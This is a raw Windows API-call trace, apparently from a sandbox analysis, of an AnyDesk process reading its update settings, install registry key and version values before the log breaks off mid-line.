SetSecurityInfo () returned 0x0 [0283.745] LocalFree (hMem=0x16f0008) returned 0x0 [0283.745] LocalFree (hMem=0x16f76a0) returned 0x0 [0283.745] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975fc0 | out: hHeap=0x1930000) returned 1 [0283.745] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19697b0 | out: hHeap=0x1930000) returned 1 [0283.745] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c3c8 | out: hHeap=0x1930000) returned 1 [0283.745] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969790 | out: hHeap=0x1930000) returned 1 [0283.745] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19697a0 | out: hHeap=0x1930000) returned 1 [0283.746] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970d68 | out: hHeap=0x1930000) returned 1 [0283.746] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970cd8 | out: hHeap=0x1930000) returned 1 [0283.746] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969780 | out: hHeap=0x1930000) returned 1 [0283.746] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c4e4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0283.746] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x1961de0 [0283.746] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c4e4, cbMultiByte=-1, lpWideCharStr=0x1961de0, cchWideChar=18 | out: lpWideCharStr="IPC connect queue") returned 18 [0283.746] GetCurrentThreadId () returned 0x5d8 [0283.746] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x1990718 [0283.746] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x1961e10 [0283.746] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x1961e40 [0283.747] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961e10 | out: hHeap=0x1930000) returned 1 [0283.747] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961de0 | out: hHeap=0x1930000) returned 1 [0283.747] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xac) returned 0x19776c8 [0283.747] CreateFiberEx (dwStackCommitSize=0x0, dwStackReserveSize=0x0, dwFlags=0x1, lpStartAddress=0x5f6150, lpParameter=0x19776c8) returned 0x16f76a0 [0283.748] GetLastError () returned 0x0 [0283.748] GetSystemTime (in: lpSystemTime=0x294b298 | out: lpSystemTime=0x294b298*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0x92)) [0283.748] GetCurrentThreadId () returned 0x5d8 [0283.748] GetCurrentProcessId () returned 0x51c [0283.748] GetLastError () returned 0x0 [0283.748] GetSystemTime (in: lpSystemTime=0x294b364 | out: lpSystemTime=0x294b364*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0x92)) [0283.748] GetCurrentThreadId () returned 0x5d8 [0283.749] GetCurrentProcessId () returned 0x51c [0283.749] GetLastError () returned 0x0 [0283.760] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab108 [0283.760] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe9178, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0283.760] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x1962888 [0283.760] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe9178, cbMultiByte=-1, lpWideCharStr=0x1962888, cchWideChar=24 | out: lpWideCharStr="ad.security.update_type") returned 24 [0283.760] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19628c0 [0283.760] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19628f8 [0283.760] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aa970 [0283.760] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x1962930 [0283.760] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19628f8 | out: hHeap=0x1930000) returned 1 [0283.761] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962888 | out: hHeap=0x1930000) returned 1 [0283.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbff27c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0283.761] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x1990798 [0283.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbff27c, cbMultiByte=-1, lpWideCharStr=0x1990798, cchWideChar=27 | out: lpWideCharStr="ad.security.update_channel") returned 27 [0283.761] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x1990818 [0283.761] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969780 [0283.761] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x19908d8 [0283.761] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aa990 [0283.761] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x1990898 [0283.762] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19908d8 | out: hHeap=0x1930000) returned 1 [0283.762] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990798 | out: hHeap=0x1930000) returned 1 [0283.762] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe9190, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0283.762] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x1962888 [0283.762] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe9190, cbMultiByte=-1, lpWideCharStr=0x1962888, cchWideChar=23 | out: lpWideCharStr="ad.anynet.update_state") returned 23 [0283.762] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x19628f8 [0283.763] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x1962968 [0283.763] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aa9b0 [0283.763] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x19629a0 [0283.763] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962968 | out: hHeap=0x1930000) returned 1 [0283.763] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962888 | out: hHeap=0x1930000) returned 1 [0283.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc16398, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0283.763] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x1990798 [0283.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc16398, cbMultiByte=-1, lpWideCharStr=0x1990798, cchWideChar=27 | out: lpWideCharStr="ad.anynet.last_auto_update") returned 27 [0283.763] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x19908d8 [0283.763] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x1990958 [0283.763] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aa9d0 [0283.763] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x1990918 [0283.764] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990958 | out: hHeap=0x1930000) returned 1 [0283.764] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990798 | out: hHeap=0x1930000) returned 1 [0283.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe9160, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0283.764] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x1962888 [0283.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe9160, cbMultiByte=-1, lpWideCharStr=0x1962888, cchWideChar=22 | out: lpWideCharStr="ad.anynet.cur_version") returned 22 [0283.764] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x1962968 [0283.764] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19629d8 [0283.764] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aa9f0 [0283.764] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x1962a10 [0283.765] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19629d8 | out: hHeap=0x1930000) returned 1 [0283.765] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962888 | out: hHeap=0x1930000) returned 1 [0283.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc163b4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 34 [0283.765] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198c3c8 [0283.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc163b4, cbMultiByte=-1, lpWideCharStr=0x198c3c8, cchWideChar=34 | out: lpWideCharStr="ad.security.update_check_interval") returned 34 [0283.765] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198c378 [0283.765] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198c418 [0283.765] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aaa10 [0283.765] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198c468 [0283.765] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c418 | out: hHeap=0x1930000) returned 1 [0283.766] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c3c8 | out: hHeap=0x1930000) returned 1 [0283.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc163d8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 37 [0283.766] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4a) returned 0x1972c58 [0283.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc163d8, cbMultiByte=-1, lpWideCharStr=0x1972c58, cchWideChar=37 | out: lpWideCharStr="ad.security.update_activity_interval") returned 37 [0283.766] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4a) returned 0x1972db8 [0283.766] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4a) returned 0x1972e10 [0283.766] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aaa30 [0283.766] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4a) returned 0x1972e68 [0283.766] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972e10 | out: hHeap=0x1930000) returned 1 [0283.766] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972c58 | out: hHeap=0x1930000) returned 1 [0283.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc16400, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0283.766] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x5a) returned 0x1960200 [0283.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc16400, cbMultiByte=-1, lpWideCharStr=0x1960200, cchWideChar=45 | out: lpWideCharStr="ad.security.update_activity_recheck_interval") returned 45 [0283.767] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x5a) returned 0x1960268 [0283.767] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x5a) returned 0x19602d0 [0283.767] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aaa50 [0283.767] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x5a) returned 0x1960338 [0283.767] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19602d0 | out: hHeap=0x1930000) returned 1 [0283.767] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1960200 | out: hHeap=0x1930000) returned 1 [0283.767] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19697a0 [0283.767] GetLastError () returned 0x0 [0283.767] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AnyDesk", ulOptions=0x0, samDesired=0x20019, phkResult=0x294b354 | out: phkResult=0x294b354*=0x220) returned 0x0 [0283.767] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19855b8 | out: hHeap=0x1930000) returned 1 [0283.768] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969790 [0283.768] RegQueryValueExW (in: hKey=0x220, lpValueName="InstallLocation", lpReserved=0x0, lpType=0x294b308, lpData=0x0, lpcbData=0x294b30c*=0x0 | out: lpType=0x294b308*=0x1, lpData=0x0, lpcbData=0x294b30c*=0x32) returned 0x0 [0283.768] RegQueryValueExW (in: hKey=0x220, lpValueName="InstallLocation", lpReserved=0x0, lpType=0x0, lpData=0x294b2c0, lpcbData=0x294b30c*=0x34 | out: lpType=0x0, lpData=0x294b2c0*=0x22, lpcbData=0x294b30c*=0x32) returned 0x0 [0283.768] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x1990798 [0283.768] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969790 | out: hHeap=0x1930000) returned 1 [0283.768] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x1962888 [0283.768] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990798 | out: hHeap=0x1930000) returned 1 [0283.768] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19697a0 | out: hHeap=0x1930000) returned 1 [0283.768] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x19629d8 [0283.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.768] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19697a0 [0283.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x19697a0, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0283.768] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x19731c8 [0283.768] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x46) returned 0x198c3c8 [0283.769] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962888 | out: hHeap=0x1930000) returned 1 [0283.769] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19731c8 | out: hHeap=0x1930000) returned 1 [0283.769] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19697a0 | out: hHeap=0x1930000) returned 1 [0283.769] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19697a0 [0283.769] RegQueryValueExW (in: hKey=0x220, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x294b308, lpData=0x0, lpcbData=0x294b30c*=0x0 | out: lpType=0x294b308*=0x1, lpData=0x0, lpcbData=0x294b30c*=0x12) returned 0x0 [0283.769] RegQueryValueExW (in: hKey=0x220, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x0, lpData=0x294b2e0, lpcbData=0x294b30c*=0x14 | out: lpType=0x0, lpData=0x294b2e0*=0x61, lpcbData=0x294b30c*=0x12) returned 0x0 [0283.769] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x12) returned 0x19aaa70 [0283.769] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19697a0 | out: hHeap=0x1930000) returned 1 [0283.769] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x19697a0 [0283.769] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aaa70 | out: hHeap=0x1930000) returned 1 [0283.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0283.769] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x1969790 [0283.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x1969790, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0283.769] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969790 | out: hHeap=0x1930000) returned 1 [0283.769] RegQueryValueExW (in: hKey=0x220, lpValueName="VersionMajor", lpReserved=0x0, lpType=0x294b358, lpData=0x294b354, lpcbData=0x294b360*=0x4 | out: lpType=0x294b358*=0x4, lpData=0x294b354*=0x7, lpcbData=0x294b360*=0x4) returned 0x0 [0283.769] RegQueryValueExW (in: hKey=0x220, lpValueName="VersionMinor", lpReserved=0x0, lpType=0x294b360, lpData=0x294b368, lpcbData=0x294b358*=0x4 | out: lpType=0x294b360*=0x4, lpData=0x294b368*=0x0, lpcbData=0x294b358*=0x4) returned 0x0 [0283.770] RegQueryValueExW (in: hKey=0x220, lpValueName="VersionBuild", lpReserved=0x0, lpType=0x294b360, lpData=0x294b36c, lpcbData=0x294b358*=0x4 | out: lpType=0x294b360*=0x4, lpData=0x294b36c*=0x7, lpcbData=0x294b358*=0x4) returned 0x0 [0283.770] RegQueryValueExW (in: hKey=0x220, lpValueName="VersionTimestamp", lpReserved=0x0, lpType=0x294b314, lpData=0x294b348, lpcbData=0x294b318*=0x8 | out: lpType=0x294b314*=0xb, lpData=0x294b348*=0x1263e8c2a8e0, lpcbData=0x294b318*=0x8) returned 0x0 [0283.770] PathFileExistsW (pszPath="C:\\ProgramData\\AnyDesk\\AnyDesk.exe") returned 1 [0283.770] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19697a0 | out: hHeap=0x1930000) returned 1 [0283.770] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c3c8 | out: hHeap=0x1930000) returned 1 [0283.770] RegCloseKey (hKey=0x220) returned 0x0 [0283.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe9a68, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0283.770] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1961de0 [0283.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe9a68, cbMultiByte=-1, lpWideCharStr=0x1961de0, cchWideChar=19 | out: lpWideCharStr="ad.features.update") returned 19 [0283.770] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1961e10 [0283.770] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1961e70 [0283.770] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aaa70 [0283.771] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1961ea0 [0283.771] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961e70 | out: hHeap=0x1930000) returned 1 [0283.771] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961de0 | out: hHeap=0x1930000) returned 1 [0283.771] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1) returned 0x19697a0 [0283.771] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.772] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969790 [0283.772] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1969790, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.772] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.772] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19697b0 [0283.772] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x19697b0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.772] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19697c0 [0283.772] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.772] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19697d0 [0283.772] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x19697d0, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.772] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19697d0 | out: hHeap=0x1930000) returned 1 [0283.772] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2d) returned 0x1962888 [0283.772] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x19731c8 [0283.772] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962888 | out: hHeap=0x1930000) returned 1 [0283.773] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19697d0 [0283.773] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aaa90 [0283.773] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1961de0 [0283.773] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19697d0 | out: hHeap=0x1930000) returned 1 [0283.773] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19697c0 | out: hHeap=0x1930000) returned 1 [0283.773] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x19734c0 [0283.773] RegQueryValueExW (in: hKey=0x0, lpValueName="features.update", lpReserved=0x0, lpType=0x294b278, lpData=0x0, lpcbData=0x294b27c*=0x0 | out: lpType=0x294b278*=0x0, lpData=0x0, lpcbData=0x294b27c*=0x0) returned 0x6 [0283.773] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b2a4 | out: phkResult=0x294b2a4*=0x0) returned 0x2 [0283.774] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19734c0 | out: hHeap=0x1930000) returned 1 [0283.774] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19697c0 [0283.774] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.774] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19697d0 [0283.774] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x19697d0, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.774] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19697d0 | out: hHeap=0x1930000) returned 1 [0283.774] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2d) returned 0x1962888 [0283.774] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x19734c0 [0283.774] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962888 | out: hHeap=0x1930000) returned 1 [0283.774] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19697d0 [0283.774] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aaab0 [0283.775] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x26) returned 0x1961e70 [0283.775] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19697d0 | out: hHeap=0x1930000) returned 1 [0283.775] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19697c0 | out: hHeap=0x1930000) returned 1 [0283.775] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1973510 [0283.775] RegQueryValueExW (in: hKey=0x0, lpValueName="features.update", lpReserved=0x0, lpType=0x294b278, lpData=0x0, lpcbData=0x294b27c*=0x0 | out: lpType=0x294b278*=0x0, lpData=0x0, lpcbData=0x294b27c*=0x0) returned 0x6 [0283.775] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b2a4 | out: phkResult=0x294b2a4*=0x0) returned 0x2 [0283.776] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973510 | out: hHeap=0x1930000) returned 1 [0283.776] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969790 | out: hHeap=0x1930000) returned 1 [0283.776] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa) returned 0x19ab120 [0283.776] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19697b0 | out: hHeap=0x1930000) returned 1 [0283.776] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cb4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0283.776] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa) returned 0x19ab138 [0283.776] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cb4, cbMultiByte=-1, lpWideCharStr=0x19ab138, cchWideChar=5 | out: lpWideCharStr="true") returned 5 [0283.776] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab138 | out: hHeap=0x1930000) returned 1 [0283.776] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab120 | out: hHeap=0x1930000) returned 1 [0283.776] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab120 [0283.776] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x220 [0283.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x64ee60, lpParameter=0x294b794, dwCreationFlags=0x4, lpThreadId=0x294b7a8 | out: lpThreadId=0x294b7a8*=0x5e0) returned 0x224 [0283.780] ResumeThread (hThread=0x224) returned 0x1 [0283.780] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0xffffffff) returned 0x0 [0283.782] CloseHandle (hObject=0x220) returned 1 [0283.782] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19697b0 [0283.782] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, 